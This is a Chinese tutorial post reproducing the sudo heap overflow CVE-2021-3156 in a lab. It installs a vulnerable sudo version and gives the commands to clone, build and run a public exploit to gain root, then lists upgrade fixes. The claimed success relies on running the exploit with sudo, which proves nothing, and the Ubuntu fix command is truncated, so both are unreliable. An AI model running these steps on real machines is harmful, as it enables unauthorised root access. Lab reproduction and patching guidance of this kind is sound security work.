sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)

这篇具有很好参考价值的文章主要介绍了sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x01 漏洞描述


这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

并非所有存在漏洞的Sudo版本都能利用成功,glibc>=2.27版本漏洞利用难度较小,低版本的glibc也能利用成功,只是漏洞利用难度增加。

关于Linux中的sudoer详解 - yanling0813 - 博客园

0x02 漏洞影响


sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

0x03 环境准备


本次复现使用的 ubuntu 版本

uname -a
sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档

查看 sudo 版本

sudo --version
sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档

判断是否存在改漏洞

sudoedit -s /

返回 usage 开头的内容,表示该漏洞已经修复

返回 sudoedit 开头的内容,表示存在该漏洞

sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档

发现此版本不存在该漏洞,于是安装旧版本的sudo

使用以下命令来获取不同版本的sudo:

apt-cache madison sudo
sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档

安装存在该漏洞的版本:

sudo apt install sudo=1.8.31-1ubuntu1
sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档

安装完成,再次输入

sudoedit -s /
sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档

返回 sudoedit 说明存在该漏洞,环境准备OK

0x04 漏洞复现


  1. 从github上克隆exp

git clone https://github.com/blasty/CVE-2021-3156.git
  1. 切换到 CVE-2021-3156 目录下,make 编译之前需要安装make、gcc组件,命令依次分别为:

sudo apt install make
sudo apt install gcc
make
sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档
  1. ls 查看到目录下已经有了 sudo-hax-me-a-sandwich

  1. 执行以下命令,查看EXP支持的系统版本

./sudo-hax-me-a-sandwich
sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档
  1. 再次执行,根据版本选择,尝试提权

sudo ./sudo-hax-me-a-sandwich 1
sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档

输入whoami ,显示root ,提权成功。

疑问:看poc中显示执行提权操作时,可以不加sudo,但是我这边不加sudo就没有用;加了sudo才能成功,不清楚是为什么。有师傅知道的话麻烦给我解答一下疑惑,谢谢师傅们。

sudo提权漏洞,安全威胁分析,网络安全,Powered by 金山文档

0x05 修复方式


1、源码编译安装最新Sudo软件包,下载链接为: https://www.sudo.ws/dist/

2、各Linux发行版参照以下命令进行升级解决:

CentOS/RHEL/Oracle Linux :

sudo yum update -y sudo

SUSE :

sudo zypper update -y sudo

Ubuntu/Debian :

sudo apt-get update && sudo apt-get

0x06 参考链接


https://blog.csdn.net/qq_42947816/article/details/123332692文章来源地址https://www.toymoban.com/news/detail-648546.html

到了这里,关于sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 漏洞利用与缓冲区溢出攻击

    目录 简介: 1. 漏洞利用基础 2. 缓冲区溢出攻击 3. 缓解缓冲区溢出攻击 3.1 边界检查 3.2 使用安全函数 3.3 使用堆栈保护技术 总结: 简介: 漏洞利用是渗透测试中的重要部分,它允许攻击者通过利用软件或系统的漏洞来获取未经授权的访问权限。其中,缓冲区溢出攻击是最常

    2024年02月14日
    浏览(87)
  • 【HUST】网络攻防实践|6_物联网设备固件安全实验|实验一 裸机缓冲区溢出漏洞利用

    写在最前: 大家分析的时候看一下自己学号是多少,然后分析对应的文件哈,我想都没想就打开01分析了,全部都做完了发现我不是这个文件,当事人现在就是很后悔,非常后悔呜呜呜呜呜。 打开 IDA Pro 7.6 ,打开 task1_0x.elf 文件, 选对应的选项。 然后点开 main 函数, f5 反汇

    2024年02月09日
    浏览(38)
  • Sudo堆溢出漏洞(CVE-2021-3156)复现

    2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境版本 • ubuntu 20.04 • su

    2024年02月11日
    浏览(23)
  • SEED-缓冲区溢出攻击

    实验环境:SEED-Ubuntu20.04虚拟机 a) 缓冲区溢出原理 **缓冲区溢出攻击原理:**利用溢出的数据改变源程序的控制流,如覆盖返回地址 b) 分析生成badfile文件的exploit.py程序 Shellcode部分 字节数组末尾处填入shellcode c) 编译目标服务器上具有缓冲区溢出漏洞的stack.c程序,并将其缓冲

    2024年02月07日
    浏览(32)
  • 网络安全——缓冲区溢出攻击

    1、缓冲区溢出概述 什么是缓冲区?它是指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型。所谓溢出,其实就是所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。 两者结合进来,所谓缓冲区溢出,就是由于

    2024年02月13日
    浏览(37)
  • [操作系统安全]缓冲区溢出

    一、C栈帧结构 函数调用内存中的三个区域,代码区、静态数据区、动态数据区(压栈和清栈就是在这个区域完成的)。 CPU 中有三个寄存器,分别是eip、ebp和esp。eip永远指向代码区中将要执行的下一条指令,执行方式包括顺序执行和跳转;ebp和esp用于管理栈空间,ebp指向栈底

    2024年02月03日
    浏览(29)
  • 5.1 缓冲区溢出与攻防博弈

    在黑客安全圈子中,基于内存攻击技术的攻击手段在随着时代的变化而不断发展着,内存攻击是指通过利用软件的安全漏洞,构造恶意的输入,从而使正常程序造成拒绝服务或者是远程获得控制权,内存攻击技术中最先登上历史舞台的就是缓冲区溢出漏洞,时至今日能够被广

    2024年02月16日
    浏览(26)
  • 网络安全威胁——缓冲区溢出攻击

    (1)缓冲区 缓冲区 是一块连续的计算机内存区域,用于在将数据从一个位置移到另一位置时临时存储数据。这些缓冲区通常位于 RAM 内存中,可保存相同数据类型的多个实例,如字符数组。 计算机经常使用缓冲区来帮助提高性能,大多数现代硬盘驱动器都利用缓冲优势来有

    2024年01月16日
    浏览(25)
  • Redis缓冲区溢出及解决方案

    缓冲区(buffer),是内存空间的一部分。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。 在Redis中,主要有三个场景用到了缓冲区的概念。 在客户端和服务器端之间进行通信时,用来暂存客户端发送

    2023年04月12日
    浏览(25)
  • 网络安全威胁,如何解决缓冲区溢出攻击

    目录 一、什么是网络安全 二、什么是缓冲区 三、缓冲区溢出 四、缓冲区溢出攻击的类型 网络安全(Network Security)指的是保护计算机网络及其相关设备、系统和数据免受未经授权访问、破坏、篡改、窃取或滥用的威胁和攻击。随着网络的普及和应用的广泛,网络安全变得越

    2024年02月21日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包